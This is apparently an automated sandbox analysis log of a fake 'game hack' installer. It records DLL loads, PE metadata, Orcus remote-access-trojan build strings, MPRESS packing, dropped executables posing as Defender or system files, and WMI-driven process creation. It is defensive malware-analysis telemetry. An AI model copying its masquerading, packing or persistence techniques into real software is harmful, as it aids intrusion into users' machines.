Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: vcruntime140.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: vcruntime140_1.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: vbscript.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: sxs.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: version.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: mscoree.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: cryptsp.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: rsaenh.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: cryptbase.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe	Section loaded: cryptsp.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe	Section loaded: rsaenh.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe	Section loaded: cryptbase.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe	Section loaded: kernel.appcore.dll

Source: C:\Users\user\Desktop\GameHackBuild1.exe.bin.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{00BB2765-6A77-11D0-A535-00C04FD7D062}\InProcServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\MpDefenderProtector.exe

File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll

Jump to behavior

Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\runtimesvc.exe	Directory created: C:\Program Files\Microsoft\SSblKNNQege.exe
Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\runtimesvc.exe	Directory created: C:\Program Files\Microsoft\f2aefc5695405c
Source: C:\Users\user\AppData\Roaming\chainReviewdhcp\containerRuntime.exe	Directory created: C:\Program Files\Windows Portable Devices\SSblKNNQege.exe
Source: C:\Users\user\AppData\Roaming\chainReviewdhcp\containerRuntime.exe	Directory created: C:\Program Files\Windows Portable Devices\f2aefc5695405c

Source: GameHackBuild1.exe.bin.exe

Static file information: File size 9469375 > 1048576

Source: GameHackBuild1.exe.bin.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IMPORT
Source: GameHackBuild1.exe.bin.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_RESOURCE
Source: GameHackBuild1.exe.bin.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_BASERELOC
Source: GameHackBuild1.exe.bin.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG
Source: GameHackBuild1.exe.bin.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG
Source: GameHackBuild1.exe.bin.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IAT

Source: GameHackBuild1.exe.bin.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, GUARD_CF, TERMINAL_SERVER_AWARE

Source: GameHackBuild1.exe.bin.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source:	Binary string: D:\Projects\WinRAR\sfx\build\sfxrar32\Release\sfxrar.pdb source: GameHackBuild1.exe.bin.exe
Source:	Binary string: q$costura.orcus.staticcommands.pdb.zip source: MpDefenderProtector.exe, 00000007.00000002.1312934413.0000000002901000.00000004.00000800.00020000.00000000.sdmp, MpDefenderCoreProtion.exe, 0000000D.00000002.1337493917.0000000003121000.00000004.00000800.00020000.00000000.sdmp, MpDefenderCoreProtion.exe, 00000011.00000002.2044904606.0000000003181000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 00000012.00000002.2519892872.0000000002E81000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: \Orcus-1.9.1-src-main\Orcus.Plugins\obj\Release\Orcus.Plugins.pdb8 source: MpDefenderProtector.exe, 00000007.00000002.1323937386.0000000004EC0000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: D:\Dokumente\GitHub\starksoft-aspen\Starksoft.Aspen\obj\Release\starksoft.aspen.pdbL source: RegAsm.exe, 00000012.00000002.2519892872.00000000031F8000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 00000012.00000002.2519892872.00000000031EA000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 00000012.00000002.2519892872.0000000003144000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 00000012.00000002.2519892872.00000000031D0000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 00000012.00000002.2540236748.0000000005E90000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: \Orcus-1.9.1-src-main\Orcus.StaticCommands\obj\Release\Orcus.StaticCommands.pdb source: RegAsm.exe, 00000012.00000002.2539787539.0000000005E60000.00000004.08000000.00040000.00000000.sdmp, RegAsm.exe, 00000012.00000002.2519892872.00000000030B5000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 00000012.00000002.2519892872.0000000003144000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: costura.fluentcommandlineparser.pdb.zip source: GameHackBuild1.exe.bin.exe, 00000000.00000003.1270548712.0000000004F89000.00000004.00000020.00020000.00000000.sdmp, MpDefenderCoreProtion.exe, 0000000D.00000002.1339479653.0000000004533000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: orcus.plugins;costura.orcus.plugins.dll.zip;costura.orcus.plugins.pdb.zip source: GameHackBuild1.exe.bin.exe, 00000000.00000003.1270548712.0000000004F89000.00000004.00000020.00020000.00000000.sdmp, MpDefenderCoreProtion.exe, 0000000D.00000002.1339479653.0000000004533000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: costura.orcus.shared.pdb.zip source: GameHackBuild1.exe.bin.exe, 00000000.00000003.1270548712.0000000004F89000.00000004.00000020.00020000.00000000.sdmp, MpDefenderProtector.exe, 00000007.00000002.1312934413.0000000002901000.00000004.00000800.00020000.00000000.sdmp, MpDefenderCoreProtion.exe, 0000000D.00000002.1339479653.0000000004533000.00000004.00000800.00020000.00000000.sdmp, MpDefenderCoreProtion.exe, 0000000D.00000002.1337493917.0000000003121000.00000004.00000800.00020000.00000000.sdmp, MpDefenderCoreProtion.exe, 00000011.00000002.2044904606.0000000003181000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 00000012.00000002.2519892872.0000000002E81000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: \Orcus-1.9.1-src-main\Orcus.Shared.Utilities\obj\Release\Orcus.Shared.Utilities.pdb source: MpDefenderProtector.exe, 00000007.00000002.1339235069.00000000058A0000.00000004.08000000.00040000.00000000.sdmp, MpDefenderProtector.exe, 00000007.00000002.1312934413.0000000002949000.00000004.00000800.00020000.00000000.sdmp, MpDefenderProtector.exe, 00000007.00000002.1312934413.0000000002AFB000.00000004.00000800.00020000.00000000.sdmp, MpDefenderCoreProtion.exe, 0000000D.00000002.1337493917.0000000003355000.00000004.00000800.00020000.00000000.sdmp, MpDefenderCoreProtion.exe, 0000000D.00000002.1337493917.000000000316A000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 00000012.00000002.2519892872.00000000030B5000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 00000012.00000002.2519892872.0000000002ECA000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: q'costura.fluentcommandlineparser.pdb.zip source: MpDefenderProtector.exe, 00000007.00000002.1312934413.0000000002901000.00000004.00000800.00020000.00000000.sdmp, MpDefenderCoreProtion.exe, 0000000D.00000002.1337493917.0000000003121000.00000004.00000800.00020000.00000000.sdmp, MpDefenderCoreProtion.exe, 00000011.00000002.2044904606.0000000003181000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 00000012.00000002.2519892872.0000000002E81000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: \Orcus-1.9.1-src-main\Orcus.Plugins\obj\Release\Orcus.Plugins.pdb source: MpDefenderProtector.exe, 00000007.00000002.1323937386.0000000004EC0000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: costura.orcus.staticcommands.pdb.zip source: GameHackBuild1.exe.bin.exe, 00000000.00000003.1270548712.0000000004F89000.00000004.00000020.00020000.00000000.sdmp, MpDefenderCoreProtion.exe, 0000000D.00000002.1339479653.0000000004533000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: directoryinfoex?costura.directoryinfoex.dll.zip?costura.directoryinfoex.pdb.zipUes.microsoft.win32.taskscheduler.resourcesucostura.es.microsoft.win32.taskscheduler.resources.dll.zip/fluentcommandlineparserOcostura.fluentcommandlineparser.dll.zipOcostura.fluentcommandlineparser.pdb.zipUfr.microsoft.win32.taskscheduler.resourcesucostura.fr.microsoft.win32.taskscheduler.resources.dll.zip/icsharpcode.sharpziplibOcostura.icsharpcode.sharpziplib.dll.zipUit.microsoft.win32.taskscheduler.resourcesucostura.it.microsoft.win32.taskscheduler.resources.dll.zip+jetbrains.annotationsKcostura.jetbrains.annotations.dll.zip source: GameHackBuild1.exe.bin.exe, 00000000.00000003.1270548712.0000000004F89000.00000004.00000020.00020000.00000000.sdmp, MpDefenderCoreProtion.exe, 0000000D.00000002.1339479653.0000000004533000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: costura.shelllibrary.pdb.zip source: GameHackBuild1.exe.bin.exe, 00000000.00000003.1270548712.0000000004F89000.00000004.00000020.00020000.00000000.sdmp, MpDefenderProtector.exe, 00000007.00000002.1312934413.0000000002901000.00000004.00000800.00020000.00000000.sdmp, MpDefenderCoreProtion.exe, 0000000D.00000002.1339479653.0000000004533000.00000004.00000800.00020000.00000000.sdmp, MpDefenderCoreProtion.exe, 0000000D.00000002.1337493917.0000000003121000.00000004.00000800.00020000.00000000.sdmp, MpDefenderCoreProtion.exe, 00000011.00000002.2044904606.0000000003181000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 00000012.00000002.2519892872.0000000002E81000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: orcus.shared9costura.orcus.shared.dll.zip9costura.orcus.shared.pdb.zip-orcus.shared.utilitiesMcostura.orcus.shared.utilities.dll.zipMcostura.orcus.shared.utilities.pdb.zip)orcus.staticcommandsIcostura.orcus.staticcommands.dll.zipIcostura.orcus.staticcommands.pdb.zip%sharpdx.direct3d11Ecostura.sharpdx.direct3d11.dll.zip#sharpdx.direct3d9Ccostura.sharpdx.direct3d9.dll.zip source: GameHackBuild1.exe.bin.exe, 00000000.00000003.1270548712.0000000004F89000.00000004.00000020.00020000.00000000.sdmp, MpDefenderCoreProtion.exe, 0000000D.00000002.1339479653.0000000004533000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: D:\Dokumente\GitHub\starksoft-aspen\Starksoft.Aspen\obj\Release\starksoft.aspen.pdb source: RegAsm.exe, 00000012.00000002.2519892872.00000000031F8000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 00000012.00000002.2519892872.00000000031EA000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 00000012.00000002.2519892872.0000000003144000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 00000012.00000002.2519892872.00000000031D0000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 00000012.00000002.2540236748.0000000005E90000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: C:\Users\dahall\Documents\Visual Studio 2010\Projects\TaskService\obj\Release\Microsoft.Win32.TaskScheduler.pdb source: MpDefenderCoreProtion.exe, 0000000D.00000002.1339479653.00000000042DB000.00000004.00000800.00020000.00000000.sdmp, MpDefenderCoreProtion.exe, 0000000D.00000002.1337493917.0000000003355000.00000004.00000800.00020000.00000000.sdmp, MpDefenderCoreProtion.exe, 0000000D.00000002.1366464067.00000000060F0000.00000004.08000000.00040000.00000000.sdmp, MpDefenderCoreProtion.exe, 0000000D.00000002.1339479653.00000000041DA000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: costura.directoryinfoex.pdb.zip source: GameHackBuild1.exe.bin.exe, 00000000.00000003.1270548712.0000000004F89000.00000004.00000020.00020000.00000000.sdmp, MpDefenderProtector.exe, 00000007.00000002.1312934413.0000000002901000.00000004.00000800.00020000.00000000.sdmp, MpDefenderCoreProtion.exe, 0000000D.00000002.1339479653.0000000004533000.00000004.00000800.00020000.00000000.sdmp, MpDefenderCoreProtion.exe, 0000000D.00000002.1337493917.0000000003121000.00000004.00000800.00020000.00000000.sdmp, MpDefenderCoreProtion.exe, 00000011.00000002.2044904606.0000000003181000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 00000012.00000002.2519892872.0000000002E81000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: q&costura.orcus.shared.utilities.pdb.zip source: MpDefenderProtector.exe, 00000007.00000002.1312934413.0000000002901000.00000004.00000800.00020000.00000000.sdmp, MpDefenderCoreProtion.exe, 0000000D.00000002.1337493917.0000000003121000.00000004.00000800.00020000.00000000.sdmp, MpDefenderCoreProtion.exe, 00000011.00000002.2044904606.0000000003181000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 00000012.00000002.2519892872.0000000002E81000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: opuswrapper7costura.opuswrapper.dll.zip7costura.opuswrapper.pdb.zip source: GameHackBuild1.exe.bin.exe, 00000000.00000003.1270548712.0000000004F89000.00000004.00000020.00020000.00000000.sdmp, MpDefenderCoreProtion.exe, 0000000D.00000002.1339479653.0000000004533000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: \Orcus-1.9.1-src-main\Orcus.Shared\obj\Release\Orcus.Shared.pdb source: MpDefenderProtector.exe, 00000007.00000002.1315906643.0000000003A65000.00000004.00000800.00020000.00000000.sdmp, MpDefenderProtector.exe, 00000007.00000002.1335917183.0000000005270000.00000004.08000000.00040000.00000000.sdmp, MpDefenderCoreProtion.exe, 00000011.00000002.2071723679.000000000425D000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: costura.opuswrapper.pdb.zip source: GameHackBuild1.exe.bin.exe, 00000000.00000003.1270548712.0000000004F89000.00000004.00000020.00020000.00000000.sdmp, MpDefenderProtector.exe, 00000007.00000002.1312934413.0000000002901000.00000004.00000800.00020000.00000000.sdmp, MpDefenderCoreProtion.exe, 0000000D.00000002.1339479653.0000000004533000.00000004.00000800.00020000.00000000.sdmp, MpDefenderCoreProtion.exe, 0000000D.00000002.1337493917.0000000003121000.00000004.00000800.00020000.00000000.sdmp, MpDefenderCoreProtion.exe, 00000011.00000002.2044904606.0000000003181000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 00000012.00000002.2519892872.0000000002E81000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: shelllibrary9costura.shelllibrary.dll.zip9costura.shelllibrary.pdb.zip source: GameHackBuild1.exe.bin.exe, 00000000.00000003.1270548712.0000000004F89000.00000004.00000020.00020000.00000000.sdmp, MpDefenderCoreProtion.exe, 0000000D.00000002.1339479653.0000000004533000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: costura.orcus.shared.utilities.pdb.zip source: GameHackBuild1.exe.bin.exe, 00000000.00000003.1270548712.0000000004F89000.00000004.00000020.00020000.00000000.sdmp, MpDefenderCoreProtion.exe, 0000000D.00000002.1339479653.0000000004533000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: costura.orcus.plugins.pdb.zip source: GameHackBuild1.exe.bin.exe, 00000000.00000003.1270548712.0000000004F89000.00000004.00000020.00020000.00000000.sdmp, MpDefenderProtector.exe, 00000007.00000002.1312934413.0000000002901000.00000004.00000800.00020000.00000000.sdmp, MpDefenderCoreProtion.exe, 0000000D.00000002.1339479653.0000000004533000.00000004.00000800.00020000.00000000.sdmp, MpDefenderCoreProtion.exe, 0000000D.00000002.1337493917.0000000003121000.00000004.00000800.00020000.00000000.sdmp, MpDefenderCoreProtion.exe, 00000011.00000002.2044904606.0000000003181000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 00000012.00000002.2519892872.0000000002E81000.00000004.00000800.00020000.00000000.sdmp

Source: GameHackBuild1.exe.bin.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IMPORT is in: .rdata
Source: GameHackBuild1.exe.bin.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_RESOURCE is in: .rsrc
Source: GameHackBuild1.exe.bin.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_BASERELOC is in: .reloc
Source: GameHackBuild1.exe.bin.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG is in: .rdata
Source: GameHackBuild1.exe.bin.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IAT is in: .rdata

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\Solara.exe

Unpacked PE file: 9.2.Solara.exe.400000.0.unpack .MPRESS1:EW;.MPRESS2:EW; vs .MPRESS1:ER;.MPRESS2:ER;

Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\runtimesvc.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\tv1xqdyv\tv1xqdyv.cmdline"
Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\runtimesvc.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\tv1xqdyv\tv1xqdyv.cmdline"

Source: initial sample

Static PE information: section where entry point is pointing to: .MPRESS2

Source: C:\Users\user\Desktop\GameHackBuild1.exe.bin.exe

File created: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\__tmp_rar_sfx_access_check_3872640

Jump to behavior

Source: GameHackBuild1.exe.bin.exe	Static PE information: section name: .didat
Source: Solara.exe.0.dr	Static PE information: section name: .MPRESS1
Source: Solara.exe.0.dr	Static PE information: section name: .MPRESS2
Source: GameHack.exe.0.dr	Static PE information: section name: .didat

Source: C:\Users\user\Desktop\GameHackBuild1.exe.bin.exe	Code function: 0_2_00A1E28C push eax; ret	0_2_00A1E2AA
Source: C:\Users\user\Desktop\GameHackBuild1.exe.bin.exe	Code function: 0_2_00A1ED46 push ecx; ret	0_2_00A1ED59
Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\GameHack.exe	Code function: 8_2_00EEE28C push eax; ret	8_2_00EEE2AA
Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\GameHack.exe	Code function: 8_2_00EEED46 push ecx; ret	8_2_00EEED59
Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\Solara.exe	Code function: 9_3_00148E36 push ebp; retf	9_3_00148E37
Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\Solara.exe	Code function: 9_3_00148E36 push ebp; retf	9_3_00148E37
Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\Solara.exe	Code function: 9_3_00148E36 push ebp; retf	9_3_00148E37
Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\Solara.exe	Code function: 9_3_00148E36 push ebp; retf	9_3_00148E37
Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\Solara.exe	Code function: 9_3_00148E36 push ebp; retf	9_3_00148E37
Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\Solara.exe	Code function: 9_3_00148E36 push ebp; retf	9_3_00148E37
Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\Solara.exe	Code function: 9_3_00148E36 push ebp; retf	9_3_00148E37
Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\Solara.exe	Code function: 9_3_00148E36 push ebp; retf	9_3_00148E37
Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\Solara.exe	Code function: 9_3_0014602A push dword ptr [ebx-73h]; iretd	9_3_0014606A
Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\Solara.exe	Code function: 9_3_0014602A push dword ptr [ebx-73h]; iretd	9_3_0014606A
Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\Solara.exe	Code function: 9_3_0014602A push dword ptr [ebx-73h]; iretd	9_3_0014606A
Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\Solara.exe	Code function: 9_3_0014602A push dword ptr [ebx-73h]; iretd	9_3_0014606A
Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\Solara.exe	Code function: 9_3_0014602A push dword ptr [ebx-73h]; iretd	9_3_0014606A
Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\Solara.exe	Code function: 9_3_0014602A push dword ptr [ebx-73h]; iretd	9_3_0014606A
Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\Solara.exe	Code function: 9_3_0014602A push dword ptr [ebx-73h]; iretd	9_3_0014606A
Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\Solara.exe	Code function: 9_3_00149052 push ebp; retf	9_3_00149053
Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\Solara.exe	Code function: 9_3_00149052 push ebp; retf	9_3_00149053
Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\Solara.exe	Code function: 9_3_00149052 push ebp; retf	9_3_00149053
Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\Solara.exe	Code function: 9_3_00149052 push ebp; retf	9_3_00149053
Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\Solara.exe	Code function: 9_3_00149052 push ebp; retf	9_3_00149053
Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\Solara.exe	Code function: 9_3_00149052 push ebp; retf	9_3_00149053
Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\Solara.exe	Code function: 9_3_00149052 push ebp; retf	9_3_00149053
Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\Solara.exe	Code function: 9_3_00149052 push ebp; retf	9_3_00149053
Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\Solara.exe	Code function: 9_3_0014607C push dword ptr [ebx-73h]; iretd	9_3_0014606A
Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\Solara.exe	Code function: 9_3_0014607C push dword ptr [ebx-73h]; iretd	9_3_0014606A
Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\Solara.exe	Code function: 9_3_0014607C push dword ptr [ebx-73h]; iretd	9_3_0014606A
Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\Solara.exe	Code function: 9_3_0014607C push dword ptr [ebx-73h]; iretd	9_3_0014606A

Source: containerRuntime.exe.8.dr	Static PE information: section name: .text entropy: 7.132224051774889
Source: SSblKNNQege.exe.26.dr	Static PE information: section name: .text entropy: 7.132224051774889
Source: RuntimeBroker.exe.26.dr	Static PE information: section name: .text entropy: 7.132224051774889
Source: SSblKNNQege.exe0.26.dr	Static PE information: section name: .text entropy: 7.132224051774889
Source: SSblKNNQege.exe1.26.dr	Static PE information: section name: .text entropy: 7.132224051774889
Source: SSblKNNQege.exe2.26.dr	Static PE information: section name: .text entropy: 7.132224051774889
Source: SSblKNNQege.exe3.26.dr	Static PE information: section name: .text entropy: 7.132224051774889
Source: SSblKNNQege.exe4.26.dr	Static PE information: section name: .text entropy: 7.132224051774889
Source: SSblKNNQege.exe5.26.dr	Static PE information: section name: .text entropy: 7.132224051774889
Source: RuntimeBroker.exe0.26.dr	Static PE information: section name: .text entropy: 7.132224051774889

Persistence and Installation Behavior

Creates processes via WMI

Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\runtimesvc.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\runtimesvc.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\runtimesvc.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\runtimesvc.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\runtimesvc.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\runtimesvc.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\runtimesvc.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\runtimesvc.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\runtimesvc.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\runtimesvc.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\runtimesvc.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\runtimesvc.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\runtimesvc.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\runtimesvc.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\runtimesvc.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\runtimesvc.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\runtimesvc.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\runtimesvc.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\AppData\Roaming\chainReviewdhcp\containerRuntime.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\AppData\Roaming\chainReviewdhcp\containerRuntime.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\AppData\Roaming\chainReviewdhcp\containerRuntime.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\AppData\Roaming\chainReviewdhcp\containerRuntime.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\AppData\Roaming\chainReviewdhcp\containerRuntime.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\AppData\Roaming\chainReviewdhcp\containerRuntime.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\AppData\Roaming\chainReviewdhcp\containerRuntime.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\AppData\Roaming\chainReviewdhcp\containerRuntime.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\AppData\Roaming\chainReviewdhcp\containerRuntime.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\AppData\Roaming\chainReviewdhcp\containerRuntime.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
